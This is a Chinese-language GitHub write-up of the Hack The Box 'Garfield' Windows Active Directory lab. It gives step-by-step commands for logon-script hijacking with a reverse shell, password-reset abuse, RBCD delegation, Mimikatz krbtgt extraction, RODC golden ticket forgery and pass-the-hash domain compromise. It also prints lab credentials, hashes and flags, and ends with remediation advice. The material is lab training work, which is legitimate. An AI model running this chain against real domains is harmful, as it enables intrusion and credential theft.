V0idW1re/HTB-Garfield-Hard-Windows-Active-Directory-Writeup

GitHub: V0idW1re/HTB-Garfield-Hard-Windows-Active-Directory-Writeup

这是一个关于Hack The Box上Garfield靶机的Windows AD渗透测试详解,记录了从利用登录脚本劫持到通过RBCD和RODC漏洞攻陷域环境的完整攻击链。

Stars: 1 | Forks: 0

# 渗透测试报告 ## Hack The Box — Garfield (Hard, Windows, Active Directory) **日期:** 2026年4月8日 **测试人员:** V0idW1re **分类:** CTF/教学实验室报告 ## 执行摘要 Hack The Box 上的 Garfield 机器是一个 Hard 难度的 Windows Active Directory 环境,模拟了一个企业域,包含一个主域控制器(DC01)和一个只读域控制器(RODC01)。通过一系列包括登录脚本劫持、密码重置滥用、RBCD 委派、RODC 密钥提取和密码复制策略(PRP)操纵在内的错误配置链,实现了完全的域 compromise。 **User Flag:** `3b26bbdefc9a1b5691be65ace30c5a31` **Root Flag:** `90fc0ce4ff71e2c8f0e9b23a3f1ebb14` ## 基础设施概览 | 主机 | 角色 | IP | |------|------|----| | DC01.garfield.htb | 主域控制器 | 10.129.x.x (动态) | | RODC01.garfield.htb | 只读域控制器 | 192.168.100.2 (内部) | **域:** garfield.htb **初始凭据:** j.arbuckle / Th1sD4mnC4t!@1978 ## 攻击链 ### 阶段 1 — 初始立足点 (l.wilson) **漏洞:** 通过 scriptPath 属性写入权限进行登录脚本劫持 j.arbuckle 拥有 SYSVOL scripts 文件夹的写入权限,并且可以通过 LDAP 修改域用户的 `scriptPath` 属性。一个 Base64 编码的 PowerShell 反向 shell 被上传到 `\\DC01\SYSVOL\garfield.htb\scripts\login.bat`,并且 l.wilson 的 `scriptPath` 属性被设置为在登录时触发它。 **工具:** bloodyAD, smbclient, nc **命令:** ``` smbclient //DC01/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' \ -c 'cd garfield.htb\scripts; put login.bat login.bat' bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb \ --host DC01 set object l.wilson scriptPath -v 'login.bat' ``` ### 阶段 2 — 横向移动 (l.wilson → l.wilson_adm) **漏洞:** 对 l.wilson_adm 的 ForceChangePassword 权限 BloodHound 枚举显示 l.wilson 对 l.wilson_adm 拥有 `ForceChangePassword` 权限。从反向 shell 中: ``` $s = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force Set-ADAccountPassword -Identity l.wilson_adm -NewPassword $s -Reset ``` 然后使用 Evil-WinRM 以 l.wilson_adm 身份登录,并从 `C:\Users\l.wilson_adm\Desktop\user.txt` 获取 user flag。 ### 阶段 3 — 通过 RBCD 攻陷 RODC **漏洞:** 对 RODC01$ 的 WriteAccountRestrictions + RODC Administrators 成员身份 l.wilson_adm 对 RODC01$ 拥有 `WriteAccountRestrictions` 权限,并且拥有将自己添加到 RODC Administrators 组的权限: ``` # 添加到 RODC Administrators bloodyAD --host DC01 -u l.wilson_adm -p 'NewPass123!' \ -d garfield.htb add groupMember "RODC Administrators" l.wilson_adm # 创建伪造的计算机账户并配置 RBCD impacket-addcomputer garfield.htb/l.wilson_adm:'NewPass123!' \ -computer-name 'EVILPC$' -computer-pass 'Password123!' impacket-rbcd garfield.htb/l.wilson_adm:'NewPass123!' \ -action write -delegate-to 'RODC01$' -delegate-from 'EVILPC$' # 获取在 RODC01 上模拟 Administrator 的服务票据 impacket-getST garfield.htb/'EVILPC$':'Password123!' \ -spn 'cifs/RODC01.garfield.htb' -impersonate Administrator # 通过 wmiexec 访问 RODC01 proxychains impacket-wmiexec -k -no-pass \ garfield.htb/Administrator@RODC01.garfield.htb ``` ### 阶段 4 — RODC krbtgt 密钥提取 **工具:** RODC01 上的 Mimikatz 从 RODC01 的 SYSTEM shell 中: ``` mimikatz # privilege::debug mimikatz # lsadump::lsa /inject /name:krbtgt_8245 ``` **krbtgt_8245 AES256 密钥:** `d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240` **RODC ID:** 8245 ### 阶段 5 — 密码复制策略(PRP)修改 **漏洞:** RODC Administrators 可以通过 repadmin 修改 PRP ``` # 将 Administrator 添加到允许列表 repadmin /prp add RODC01 allow \ "CN=Administrator,CN=Users,DC=garfield,DC=htb" # 从 NeverReveal 列表中删除 Administrators builtin bloodyAD set object "CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb" \ msDS-NeverRevealGroup \ -v "CN=Account Operators,CN=Builtin,DC=garfield,DC=htb" \ -v "CN=Server Operators,CN=Builtin,DC=garfield,DC=htb" \ -v "CN=Backup Operators,CN=Builtin,DC=garfield,DC=htb" ``` ### 阶段 6 — RODC Golden Ticket 与强制复制 **工具:** RODC01 上的 Rubeus ``` Rubeus.exe golden /rodcNumber:8245 \ /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 \ /user:Administrator /id:500 \ /domain:garfield.htb \ /sid:S-1-5-21-2502726253-3859040611-225969357 /nowrap # 注入票据 Rubeus.exe ptt /ticket: # 强制凭据复制到 RODC01 repadmin /rodcpwdrepl RODC01 DC01 \ "CN=Administrator,CN=Users,DC=garfield,DC=htb" ``` **结果:** `Successfully replicated secrets for user Administrator` ### 阶段 7 — 域管理员哈希提取 ``` mimikatz # lsadump::lsa /inject /name:Administrator ``` **Administrator NT 哈希:** `ee238f6debc752010428f20875b092d5` ### 阶段 8 — 域攻陷 ``` impacket-psexec garfield.htb/Administrator@DC01 \ -hashes aad3b435b51404eeaad3b435b51404ee:ee238f6debc752010428f20875b092d5 ``` **Root Flag:** `90fc0ce4ff71e2c8f0e9b23a3f1ebb14` ## 漏洞摘要 | # | 漏洞 | 严重程度 | 影响 | |---|---------------|----------|--------| | 1 | 通过 scriptPath 的登录脚本写入权限 | High | 初始立足点 | | 2 | 对特权账户的 ForceChangePassword | High | 横向移动 | | 3 | 对 RODC$ 的 WriteAccountRestrictions | High | RBCD 攻击 | | 4 | RODC Administrators 自我添加权限 | High | PRP 操纵 | | 5 | 较弱的 RODC 密码复制策略 | Critical | 域攻陷 | | 6 | 通过 LSASS 暴露 RODC krbtgt 密钥 | Critical | Golden ticket 伪造 | ## 建议 1. **移除非管理账户对 SYSVOL 的 scriptPath 写入权限**。 2. **审计 ForceChangePassword 委派** — 将其限制为仅限专用服务账户。 3. **限制对 RODC 计算机对象的 WriteAccountRestrictions**,仅限 Domain Admins。 4. **加固 RODC 密码复制策略** — 确保敏感账户保持永远加入 Denied RODC Password Replication Group。 5. **监控 RODC 凭据复制** — 针对敏感账户的 `repadmin /rodcpwdrepl` 使用情况发出警报。 6. **限制 RODC Administrators 组** 的成员资格并审计自我添加权限。 7. **为管理员和其他特权账户启用 Protected Users 安全组**,以防止在 RODC 上缓存凭据。 ## 使用的工具 - Impacket (secretsdump, getST, psexec, wmiexec, addcomputer, rbcd) - Mimikatz - Rubeus v2.2.0 - bloodyAD - Evil-WinRM - chisel (隧道) - BloodHound/bloodyAD (AD 枚举) - nmap, smbclient, rpcclient *本报告作为授权的 Hack The Box 实验室练习的一部分生成。所有活动均在受控、合法的环境中进行。*
标签:Active Directory, AI合规, BloodHound, bloodyAD, CSV导出, ForceChangePassword, Golden Ticket, Hack The Box, HTTP, Impacket, IPv6, krbtgt, LDAP, Logon Script Hijacking, Mimikatz, OPA, Plaso, PowerShell, PRP, RBCD, RODC, Rubeus, SMB, SYSVOL, Terraform 安全, 协议分析, 只读域控制器, 域控攻陷, 域渗透, 基于资源的约束委派, 委派攻击, 安全助手, 实战报告, 密码复制策略, 密码重置, 强制密码修改, 提权, 权限提升, 权限枚举, 横向移动, 电子数据取证, 登录脚本劫持, 票据伪造, 编程规范, 脚本劫持, 脚本路径, 金票, 错误配置检测, 靶场